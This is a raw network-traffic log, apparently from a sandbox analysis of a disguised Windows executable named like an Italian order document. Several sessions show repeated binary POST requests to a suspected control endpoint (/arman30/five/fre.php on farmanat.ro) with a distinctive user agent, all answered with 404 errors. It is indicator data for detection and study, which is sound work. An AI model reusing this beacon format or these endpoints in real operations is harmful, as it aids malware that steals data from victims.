Nov 25, 2021 10:48:37.553401947 CET	6388	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:36 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
560	192.168.11.20	50404	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
561	192.168.11.20	50405	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
562	192.168.11.20	50406	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
563	192.168.11.20	50407	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
564	192.168.11.20	50408	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
565	192.168.11.20	50409	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
566	192.168.11.20	50410	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
567	192.168.11.20	50411	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
568	192.168.11.20	50412	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
569	192.168.11.20	50413	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.11.20	49893	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:38.005112886 CET	6388	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:38.094413042 CET	6389	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:37 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
570	192.168.11.20	50414	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
571	192.168.11.20	50415	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
572	192.168.11.20	50416	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
573	192.168.11.20	50417	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
574	192.168.11.20	50418	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
575	192.168.11.20	50419	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
576	192.168.11.20	50420	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
577	192.168.11.20	50421	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
578	192.168.11.20	50422	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
579	192.168.11.20	50423	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.11.20	49894	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:38.572494984 CET	6390	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:38.655184984 CET	6390	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:37 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
580	192.168.11.20	50424	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
581	192.168.11.20	50425	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
582	192.168.11.20	50426	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
583	192.168.11.20	50427	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
584	192.168.11.20	50428	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
585	192.168.11.20	50429	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
586	192.168.11.20	50430	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
587	192.168.11.20	50431	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
588	192.168.11.20	50432	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
589	192.168.11.20	50433	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.11.20	49895	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:39.175559044 CET	6391	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:39.260907888 CET	6392	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:38 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
590	192.168.11.20	50434	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
591	192.168.11.20	50435	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
592	192.168.11.20	50436	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
593	192.168.11.20	50437	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
594	192.168.11.20	50438	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
595	192.168.11.20	50439	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
596	192.168.11.20	50440	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
597	192.168.11.20	50441	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
598	192.168.11.20	50442	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
599	192.168.11.20	50443	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.11.20	49825	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:03.921017885 CET	6307	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:04.006619930 CET	6308	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:03 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.11.20	49896	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:39.761326075 CET	6392	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:39.845088005 CET	6393	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:38 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
600	192.168.11.20	50444	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
601	192.168.11.20	50445	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
602	192.168.11.20	50446	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
603	192.168.11.20	50447	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
604	192.168.11.20	50448	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
605	192.168.11.20	50449	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
606	192.168.11.20	50450	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
607	192.168.11.20	50451	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
608	192.168.11.20	50452	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
609	192.168.11.20	50453	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.11.20	49897	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:40.218861103 CET	6394	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:40.303121090 CET	6394	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:39 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
610	192.168.11.20	50454	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
611	192.168.11.20	50455	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
612	192.168.11.20	50456	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
613	192.168.11.20	50458	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
614	192.168.11.20	50459	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
615	192.168.11.20	50460	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
616	192.168.11.20	50461	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
617	192.168.11.20	50462	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
618	192.168.11.20	50463	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
619	192.168.11.20	50464	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.11.20	49898	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:40.780535936 CET	6395	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:40.863092899 CET	6396	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:39 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
620	192.168.11.20	50465	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
621	192.168.11.20	50466	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
622	192.168.11.20	50467	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
623	192.168.11.20	50468	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
624	192.168.11.20	50469	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
625	192.168.11.20	50470	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
626	192.168.11.20	50471	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
627	192.168.11.20	50472	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
628	192.168.11.20	50473	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
629	192.168.11.20	50474	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.11.20	49899	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:41.373512030 CET	6396	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:41.457207918 CET	6397	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:40 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
630	192.168.11.20	50475	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
631	192.168.11.20	50476	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
632	192.168.11.20	50477	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
633	192.168.11.20	50478	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
634	192.168.11.20	50479	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
635	192.168.11.20	50480	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
636	192.168.11.20	50481	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
637	192.168.11.20	50482	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
638	192.168.11.20	50483	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
639	192.168.11.20	50484	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.11.20	49900	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:41.968153000 CET	6398	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:42.053039074 CET	6398	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:41 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
640	192.168.11.20	50485	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
641	192.168.11.20	50486	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
642	192.168.11.20	50487	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
643	192.168.11.20	50488	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
644	192.168.11.20	50489	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
645	192.168.11.20	50490	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
646	192.168.11.20	50491	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
647	192.168.11.20	50492	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
648	192.168.11.20	50493	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
649	192.168.11.20	50494	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.11.20	49901	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:42.536148071 CET	6399	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:42.619992971 CET	6399	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:41 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
650	192.168.11.20	50495	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
651	192.168.11.20	50496	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

